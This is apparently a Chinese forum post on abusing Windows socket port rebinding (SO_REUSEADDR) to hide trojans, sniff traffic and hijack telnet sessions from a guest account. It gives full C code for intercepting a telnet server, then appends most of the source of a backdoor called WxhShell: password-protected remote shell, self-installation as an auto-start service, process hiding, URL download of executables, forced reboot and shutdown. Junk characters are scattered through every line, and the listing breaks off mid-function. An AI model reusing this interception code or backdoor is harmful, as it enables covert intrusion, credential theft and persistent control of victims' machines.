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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tT'd]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +Mg^u-(A  
<pi q?:ac  
  saddr.sin_family = AF_INET; l65'EO|  
]4hXK!^Uu  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ,[~Ydth  
l<v /T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G::6?+S  
g]jtVQH']  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .W?POJT  
nw\p3  
  这意味着什么?意味着可以进行如下的攻击: V+D "_  
>} aykz*g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W*8D@a0 _  
>) 5rOU  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _+^3<MT  
t7-sCC0  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z*x6V0'yt  
a>s v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  HqN|CwGgJ:  
ydlH6>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 }KZ/>Z;^  
yv'mV=BMJ!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $H5PB' b  
8t6h^uQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {d )Et;_  
e {c.4'q  
  #include #|$7. e  
  #include oNiS"\t  
  #include !3T x\a`?/  
  #include    %/U Q0d~b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Y*"%;e$tg  
  int main() xD_jfAH'  
  { 2RM1-j ($  
  WORD wVersionRequested; ` 6"\.@4  
  DWORD ret; Jl5<9x  
  WSADATA wsaData; uj8]\MY  
  BOOL val; ~2"|4  
  SOCKADDR_IN saddr; vtvr{Uqo@  
  SOCKADDR_IN scaddr; Vy(lyD<6  
  int err; 5B98}N  
  SOCKET s; Ha 3XH_  
  SOCKET sc; e348^S&rG  
  int caddsize; ZJw9 2Sb  
  HANDLE mt; iJsw:Nc  
  DWORD tid;   R>Zn$%j\  
  wVersionRequested = MAKEWORD( 2, 2 ); 4.VEE~sH$  
  err = WSAStartup( wVersionRequested, &wsaData ); a(}jn|  
  if ( err != 0 ) { 8q0f#/`v  
  printf("error!WSAStartup failed!\n"); I>P</TE7  
  return -1; &[3!Lk`.0  
  } EA8(_}  
  saddr.sin_family = AF_INET; Ye )(9  
   8zpK; +  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'TbA^U[  
4NEk#n  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dxASU|Yo9  
  saddr.sin_port = htons(23); TyK; q{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6J=~*&  
  { fA+M/}=  
  printf("error!socket failed!\n"); ,e>ugI_;*  
  return -1; ViVYyA  
  } fc!%W#-  
  val = TRUE; B8IfE`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~ 4&_$e!  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |d:URuG~:I  
  { +rql7D0st  
  printf("error!setsockopt failed!\n"); B:^U~sR  
  return -1; bH,Jddc  
  } Je?V']lm  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uAJ_`o[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C-2n2OM.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +ckj]yA;  
.b]oB_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \64(`6>  
  { 2_Pe/  
  ret=GetLastError(); -<<!eH  
  printf("error!bind failed!\n"); i!Ne<Q  
  return -1; \SMH",u  
  } t@4vEKw?.X  
  listen(s,2); C{>?~@z&5  
  while(1) "#m*`n  
  { %/>_o{"hw  
  caddsize = sizeof(scaddr); ^Xb!dnT.*a  
  //接受连接请求 JP@UvDE|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p=r{ODw#3  
  if(sc!=INVALID_SOCKET) 5-&P4  
  { | _S9U|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C8{CKrVE  
  if(mt==NULL) RF6|zCWuI  
  { V];RQWs  
  printf("Thread Creat Failed!\n"); L9AfLw5&X  
  break; K}$PIW  
  } ev+N KUi=  
  } vhUuf+P*  
  CloseHandle(mt); (d!vm\-PH  
  } Ads^y`b  
  closesocket(s); Bq2}nDP  
  WSACleanup(); ")o.x7~N  
  return 0; $iF7hyZ  
  }   gr-%9=Uq  
  DWORD WINAPI ClientThread(LPVOID lpParam) |]B]0J#_  
  { $~9U-B\  
  SOCKET ss = (SOCKET)lpParam; k}<mmKB  
  SOCKET sc; U O[p   
  unsigned char buf[4096]; l_kH^ET  
  SOCKADDR_IN saddr; [Zua7&(5  
  long num; D@W m-  
  DWORD val; RGxOb  
  DWORD ret; +B&FZ4'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?Ts Z_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S63L>p|ml  
  saddr.sin_family = AF_INET; ](0A/,#q6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S@*@*>s^  
  saddr.sin_port = htons(23); ll5Kd=3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hpw;w}m  
  { E]7G4  
  printf("error!socket failed!\n"); /_56H?w\  
  return -1; +nqOP3  
  } JUXK}0d%eN  
  val = 100; o= 8yp2vG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ',CcLN  
  { AM}OL Hj  
  ret = GetLastError(); rFmE6{4:p  
  return -1; ph|3M<q6  
  } ) .]Z}g&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #p[=iP  
  { Fm2t:,=  
  ret = GetLastError(); f.8L<<5 c  
  return -1; ,Y&kW'2  
  } p<J/J.E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %8$wod6  
  { ?c43cYb  
  printf("error!socket connect failed!\n"); >4ALF[oH1J  
  closesocket(sc); ]9x30UXLwD  
  closesocket(ss); Nls|R  
  return -1; L Xx 3  
  } !}vz_6)  
  while(1) 'uPqe.#?  
  { b0&dpMgh:  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?}Mv5SO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 20Rgw  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 KT|$vw2b  
  num = recv(ss,buf,4096,0); )_&<u\cm L  
  if(num>0) &2Y>yFB ,  
  send(sc,buf,num,0); ^y h  
  else if(num==0) S ":-5S6  
  break; K1C#  
  num = recv(sc,buf,4096,0); >uUbWKn3  
  if(num>0) <vj&e(D^  
  send(ss,buf,num,0); I 4EocM=  
  else if(num==0) ~o8$/%Oeb/  
  break; 7aU*7!U  
  } ]w')~yk  
  closesocket(ss); _=cMa's  
  closesocket(sc); M`5^v0,C  
  return 0 ; Oi{jzP  
  } eH6#'M4+\  
TRQva8d?  
&9O-!  
========================================================== \C>I6{  
lw Kr$X4  
下边附上一个代码,,WXhSHELL ME7JU|@Z  
D)mqe-%1  
========================================================== vUCU%>F  
 a1j 6-p  
#include "stdafx.h" TQ>1u  
)>?K:y8I~  
#include <stdio.h> j0OxR.S  
#include <string.h> LS \4y&J40  
#include <windows.h> _ Fer-nQ2R  
#include <winsock2.h> KQ2]VN"?_  
#include <winsvc.h> %f>V\z_C  
#include <urlmon.h> 3)`}#`T  
 %RJW@~!  
#pragma comment (lib, "Ws2_32.lib") 6ZF5f^M^  
#pragma comment (lib, "urlmon.lib") <CH7jbK  
L1J"_.=P  
#define MAX_USER   100 // 最大客户端连接数 i,V~5dE[I<  
#define BUF_SOCK   200 // sock buffer :0vNg:u+  
#define KEY_BUFF   255 // 输入 buffer sF}E =lY  
3<'n>'  
#define REBOOT     0   // 重启 ;,F}!R  
#define SHUTDOWN   1   // 关机 3c ^_IuW-  
bS0LjvY9g  
#define DEF_PORT   5000 // 监听端口 Nlo*vu  
UZdpKi@  
#define REG_LEN     16   // 注册表键长度 } $OQw'L[  
#define SVC_LEN     80   // NT服务名长度  _@HMk"A  
T}zOM%]]  
// 从dll定义API W;o\}irep  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gE%-Pf~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =*I>MgCJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _El=M0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4w\')@`[jk  
udw5A*Ls  
// wxhshell配置信息 ,qC_[PUT  
struct WSCFG { hd '!f  
  int ws_port;         // 监听端口 j:fL_1m  
  char ws_passstr[REG_LEN]; // 口令 6>KDK<5NQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no gTs5xDvJ  
  char ws_regname[REG_LEN]; // 注册表键名 4sG^ bZ,  
  char ws_svcname[REG_LEN]; // 服务名 Dzp9BRS 2f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  9((v.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Hm*n ,8_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]ErAa"?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :vm*miOF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #2n>J'}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :r!nz\%WW  
xro  
}; 7$/ O{GBJ  
k%.IIVRx  
// default Wxhshell configuration 2N>:GwN  
struct WSCFG wscfg={DEF_PORT, !$fBo3!B_8  
    "xuhuanlingzhe", j'v2m6/  
    1, xeZ,}YP)  
    "Wxhshell", wG -X833\(  
    "Wxhshell", |>d5 6  
            "WxhShell Service", Dd :Qotu  
    "Wrsky Windows CmdShell Service",  O'_D*?  
    "Please Input Your Password: ", 8Kv=Zp,?`  
  1, |2^cPnv?G&  
  "http://www.wrsky.com/wxhshell.exe", U@i+XZc"S  
  "Wxhshell.exe" w+[r$+z!k  
    }; I>fEwMk~  
M$|^?U>cm  
// 消息定义模块 #lF8"@)a-$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; s,lrw~17  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R5|c4v{B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eB5; wH  
char *msg_ws_ext="\n\rExit."; k;q|pQ[  
char *msg_ws_end="\n\rQuit."; `a  
char *msg_ws_boot="\n\rReboot..."; }oloMtp$  
char *msg_ws_poff="\n\rShutdown..."; /\OjtE  
char *msg_ws_down="\n\rSave to "; X 5pp8~  
#dU-*wmJ  
char *msg_ws_err="\n\rErr!"; wzF/`z&0?6  
char *msg_ws_ok="\n\rOK!"; c:4 i&|n  
"Bn!<h}mg  
char ExeFile[MAX_PATH]; -Y;(yTtz  
int nUser = 0; 5%uLs}{\q  
HANDLE handles[MAX_USER]; @G^ l`%  
int OsIsNt; Nx,.4CI  
w {6kU   
SERVICE_STATUS       serviceStatus; *7`;{O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iVwI}%k  
_6xC4@~h*  
// 函数声明 A]Qg X5\sa  
int Install(void); m)g:@^$  
int Uninstall(void); xyBWV]Y  
int DownloadFile(char *sURL, SOCKET wsh); 6-j><'  
int Boot(int flag); c?>@P  
void HideProc(void); 0LN"azhz  
int GetOsVer(void); x^xlH!Sc  
int Wxhshell(SOCKET wsl); E2+O-;VN  
void TalkWithClient(void *cs); ALJ^XvB4V  
int CmdShell(SOCKET sock); X\V1c$13CK  
int StartFromService(void); L >Y%$|4  
int StartWxhshell(LPSTR lpCmdLine); E&#cU}ErN  
]?-8[v~{C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y{6y.F*Q#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QS\H[?M$  
R:fERj<s  
// 数据结构和表定义 MB%yC]w8  
SERVICE_TABLE_ENTRY DispatchTable[] = #px74EeI\  
{ y)CnH4{  
{wscfg.ws_svcname, NTServiceMain}, Hj2E-RwG  
{NULL, NULL} 0 z.oPV@  
}; 3E) X(WJY  
criOJ-  
// 自我安装 luY#l!mx3  
int Install(void) <y7nGXzLK  
{ 7vF+Di(B  
  char svExeFile[MAX_PATH]; \u9l4  
  HKEY key; ViKN|W >T  
  strcpy(svExeFile,ExeFile); fX^ <H_1$G  
:6:;Z qn  
// 如果是win9x系统,修改注册表设为自启动 Hyh$-iCa  
if(!OsIsNt) { O3 x9S,1i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pp#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qkPvE;"  
  RegCloseKey(key); o'+p,_y9Y@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p48m k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >cpT_M&C,  
  RegCloseKey(key); ckykRqk}  
  return 0; $3psSQQo  
    } `bY>f_5+  
  } Utd`T+AF*  
} k[#<=G_=/E  
else { ae_Y?g+3  
Z8I  Y!d  
// 如果是NT以上系统,安装为系统服务 4L)#ku$jW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qu"zzb"k  
if (schSCManager!=0) ' d' Dlg  
{  0@7%  
  SC_HANDLE schService = CreateService }M7{~ov#s  
  ( "tdF#>x  
  schSCManager, {wA(%e3_  
  wscfg.ws_svcname, pL 2P .  
  wscfg.ws_svcdisp, @ LPs.e  
  SERVICE_ALL_ACCESS, ~XU%_Hz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y=.`:EB9b  
  SERVICE_AUTO_START, &6deds  
  SERVICE_ERROR_NORMAL, a=@]Ov/  
  svExeFile, "Tt5cqUQoY  
  NULL, !p #m?|Km  
  NULL, ?DJ/Yw>>3  
  NULL, %'+}-w  
  NULL, pUF$Nq>og  
  NULL /;E{(%U)t  
  ); = j)5kY`  
  if (schService!=0) |2AMj0V~  
  { \D6 7J239E  
  CloseServiceHandle(schService); l5P!9P  
  CloseServiceHandle(schSCManager); bbNN$-S|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1z IX $A  
  strcat(svExeFile,wscfg.ws_svcname); )IBvm1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -A1@a= q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); aN UU' [  
  RegCloseKey(key); 8/gA]I 6=#  
  return 0; AdU0 sZ+&c  
    } _"l2UDx  
  } f^Io:V\  
  CloseServiceHandle(schSCManager); 1egq:bh  
} W?TvdeBx  
} vd{ban9  
'Hf+Y/`  
return 1; S(2_s,J^  
} G'#Uzwo  
db*yA@2Lg  
// 自我卸载 U\y:\+e l  
int Uninstall(void) u0;k_6N  
{ Nhf@Y}Cu  
  HKEY key; ^ruz-N^Y!  
/M2U7^9``"  
if(!OsIsNt) { 3R>"X c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #M ;j*IBl*  
  RegDeleteValue(key,wscfg.ws_regname); >bRoQ8  
  RegCloseKey(key); `_"loPu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WQiIS0BJ *  
  RegDeleteValue(key,wscfg.ws_regname); ^tF lA)  
  RegCloseKey(key); [b:0j-  
  return 0; {e!3|&AX  
  } ~v>3lEGn*  
} RoFoEp  
} WBN3:Y7  
else { @6"+x  
+ *)Kyk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xYp-Y"a.  
if (schSCManager!=0) |1%eo.  
{ !-HJ%(5:F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `;Od0uh  
  if (schService!=0) 3D}Pa  
  { 0}mVP  
  if(DeleteService(schService)!=0) { w<LV5w+  
  CloseServiceHandle(schService); X<sM4dwxE  
  CloseServiceHandle(schSCManager); :8t;_f  
  return 0; )ko[_OJj  
  } W:VX^8</  
  CloseServiceHandle(schService); ;:  xE'-  
  } {zIcEN$ ~  
  CloseServiceHandle(schSCManager); A$3ll|%j  
} W"!{f  
} Egt !N  
#g#[|c.  
return 1; f4;V7DJ  
} 7}L.(Jp9  
lJ Jn@A  
// 从指定url下载文件 @6kkt~>:  
int DownloadFile(char *sURL, SOCKET wsh) +[Izz~ _p  
{ uOAd$;h@_Z  
  HRESULT hr; X=@bzL;eq  
char seps[]= "/"; NOSL b];  
char *token; Hb3..o:  
char *file; ku)/ 8Z`$  
char myURL[MAX_PATH]; ^U9b)KA  
char myFILE[MAX_PATH]; SuA  @S  
cO8yu`4!e  
strcpy(myURL,sURL); B7.<A#y2  
  token=strtok(myURL,seps); 7Hg;SK6t0  
  while(token!=NULL) ]T=o>%  
  { &3Ry0?RET  
    file=token; zeshM8=  
  token=strtok(NULL,seps); 5cj&D74o  
  } O/.8;.d;4Y  
LFAefl\  
GetCurrentDirectory(MAX_PATH,myFILE); g;~$xXn  
strcat(myFILE, "\\"); .U#oN_D  
strcat(myFILE, file); P>EG;u@.  
  send(wsh,myFILE,strlen(myFILE),0); 9^CuSj  
send(wsh,"...",3,0); 5mX"0a_Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T"DG$R,Aj  
  if(hr==S_OK) $\#wsI(  
return 0; =5O&4G`}  
else :z`L)  
return 1; W0S\g#  
XnKf<|j6k  
} zmg :Z p=  
qzWnl[3  
// 系统电源模块 +^q- v-  
int Boot(int flag) 8&:dzS  
{ V#+M lN  
  HANDLE hToken; ZEB,Q~  
  TOKEN_PRIVILEGES tkp; &8dj*!4H  
B A i ^t  
  if(OsIsNt) { J u"/#@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [U,hb1Wi3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )`#SMLMy~  
    tkp.PrivilegeCount = 1; (g>&ov(d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; * $|9e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jA3xDbM  
if(flag==REBOOT) { 3F9dr@I.7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Vy_%f  
  return 0; $\aJ.N6rb  
} 4|hfzCjMI  
else { yPf,GB"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~X-v@a  
  return 0; |[@v+koq  
} U9XOs)^  
  } 0pBG^I`_  
  else { CN6b 982&  
if(flag==REBOOT) { ;73{n*a$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L2%npps  
  return 0; be]Zx`)k  
} gWl49'S>+  
else { 82YZN5S3]3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8"ulAx74>  
  return 0; ynn>d  
} POQ4&ChA  
} ~PX#' Jr  
K7ZRj\(CJv  
return 1; ,IPryI   
} dF^`6-K1  
g{Hb3id9  
// win9x进程隐藏模块 L,3%}_  
void HideProc(void) CtHsi8m  
{ 2 U3WH.o  
IIAm"=*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y+C6+I<3  
  if ( hKernel != NULL ) ([NS%  
  { (/|f6_9!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p@3 <{kLm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iwfH~  
    FreeLibrary(hKernel); ={I(i6  
  } [ z{ }?  
8p]Krs:  
return; )5x,-m@  
} rs@qC>_C0  
`jT1R!$3F  
// 获取操作系统版本  s-S|#5  
int GetOsVer(void) {'o\#4 Wk  
{ zLjQ,Lp.I  
  OSVERSIONINFO winfo; H,)2Ou-Wn  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J6J; !~>_  
  GetVersionEx(&winfo); mSp;(oQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "9,+m$nj  
  return 1; =BBq K=W.d  
  else }^PdW3O*m,  
  return 0; 2*Mu"v,  
} \7q>4[  
AE4>pzBe  
// 客户端句柄模块 Y~ Nt9L  
int Wxhshell(SOCKET wsl) @|}=W Q  
{ `7_s@4:  
  SOCKET wsh; GTW5f  
  struct sockaddr_in client; lsOZ%p%fV  
  DWORD myID; A"B[F#  
&z"yls  
  while(nUser<MAX_USER) o vX9  
{ ETaLE[T%1  
  int nSize=sizeof(client); ^S^7 u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?Q: KW  
  if(wsh==INVALID_SOCKET) return 1; :2MHx}]il  
5dhT?/qvc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y73@t$|  
if(handles[nUser]==0) ]ChN]>o  
  closesocket(wsh); !}Ty"p`  
else w]Ci%W(  
  nUser++; Q".AmHn  
  } Mh5 =]O+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xJ)vfo  
z.*=3   
  return 0; ET q~, g'  
} -42jeJS  
]|/\Sd  
// 关闭 socket vU, ]UJ}  
void CloseIt(SOCKET wsh) D4ud|$s1  
{ si|b>R&Z  
closesocket(wsh); z*&r@P -  
nUser--; OEs!H]v  
ExitThread(0); g}'(V>(  
} O\zGN/!  
}t.VH:02y  
// 客户端请求句柄 D(Yq<%Q  
void TalkWithClient(void *cs) -_~T;cj6  
{ 6Er%td)f  
\:91BQP c  
  SOCKET wsh=(SOCKET)cs; =]F15:%Z q  
  char pwd[SVC_LEN]; \B D'"  
  char cmd[KEY_BUFF]; qGKQrb,K  
char chr[1]; =j!Ruy1  
int i,j; .{LJ  
LxxFosi8  
  while (nUser < MAX_USER) { #zc{N"!  
j?P8&Fm<  
if(wscfg.ws_passstr) { D[R<H((  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9-N*Jhg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R(F+Xg je  
  //ZeroMemory(pwd,KEY_BUFF); @d=4C{g%o  
      i=0; @@Vf"o+S  
  while(i<SVC_LEN) { ~<w9a]  
}u8D5Q<(  
  // 设置超时 (eJYv: ^  
  fd_set FdRead; -4'yC_8t  
  struct timeval TimeOut; KRh95B GU  
  FD_ZERO(&FdRead); pZe:U;bb  
  FD_SET(wsh,&FdRead); zq&,KZ  
  TimeOut.tv_sec=8; [vY? !  
  TimeOut.tv_usec=0; x'wT%/hp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3ws}E6\D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z CS{D  
p;m2RHYF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }w8:`g'T0/  
  pwd=chr[0]; 1A b=1g{  
  if(chr[0]==0xd || chr[0]==0xa) { kKR Z79"7s  
  pwd=0; _<1uO=km6  
  break; o]|a5. O  
  } Xm}~u?$3  
  i++; CJu3h&Rp  
    } f,}]h~w\  
XK4idC  
  // 如果是非法用户,关闭 socket 4`#3p@-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /|2#s%|-=  
} zg83->[  
UP}5Eh  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yp:_W@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ONw;NaE,  
jPf*qe>U  
while(1) { ?4i:$.A Y  
4#BoS9d2I<  
  ZeroMemory(cmd,KEY_BUFF); )R`w{V  
X#*|_(^  
      // 自动支持客户端 telnet标准   ;n,@[v  
  j=0; ;Y>cegG\  
  while(j<KEY_BUFF) { RZeU{u<O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #]!0$z|Z  
  cmd[j]=chr[0]; ^N5BJ'[F:  
  if(chr[0]==0xa || chr[0]==0xd) { H#B~ h4#  
  cmd[j]=0; RuHMD"  
  break; <H)I06];  
  } x\Det$3Kx  
  j++; r{gJ[%  
    } 4(f4 4' ^  
S@a#,,\[  
  // 下载文件 9ZEF%&58Y  
  if(strstr(cmd,"http://")) { &S"o jbb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EK6fd#J?1  
  if(DownloadFile(cmd,wsh)) :}Tw+S5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d= -/'_'  
  else $6X CHVx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N3Jfp3_b@  
  } zp2IpYQ,3  
  else { !`G7X  
|NcfR"[c  
    switch(cmd[0]) { Y(4#b`k3  
  D{aN_0mT  
  // 帮助 IP`;hC  
  case '?': { N+9`'n^x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1cyX9X  
    break; G,8LF/sR  
  } Jyx6{O j  
  // 安装 / ` 7p'i  
  case 'i': { ;@@1$mzK  
    if(Install()) 8h#/b1\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~5>)yN_a1  
    else pOn>m1|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /?jAG3"  
    break; tndtwM*B'  
    } 5CxD ys&<  
  // 卸载 =yf LqU  
  case 'r': { 3JiDi X"|  
    if(Uninstall()) i`^`^Ka  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wPDA_ns~  
    else wyk4v}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s e9X  
    break; J@y1L]:  
    } Syn>;FX  
  // 显示 wxhshell 所在路径 9'I I!  
  case 'p': { Uu9\;f  
    char svExeFile[MAX_PATH]; @L8('8~d  
    strcpy(svExeFile,"\n\r"); #L{QnV.3  
      strcat(svExeFile,ExeFile); PF-7AIxs"  
        send(wsh,svExeFile,strlen(svExeFile),0); 4425,AR  
    break; i51~/ R  
    } &P%3'c}G  
  // 重启 h'x|yy]@3  
  case 'b': { Ch`XwLY9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $up.< qzj  
    if(Boot(REBOOT)) 5A:mu+Iz6H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8VJUaL@  
    else { xV'\2n=1T  
    closesocket(wsh); %v\0Dm+A  
    ExitThread(0); U3 e3  
    } +k'5W1e  
    break; ) =<,$|g  
    } CUT D]:\  
  // 关机 F7`3,SzHp  
  case 'd': { #;Y JR9VN  
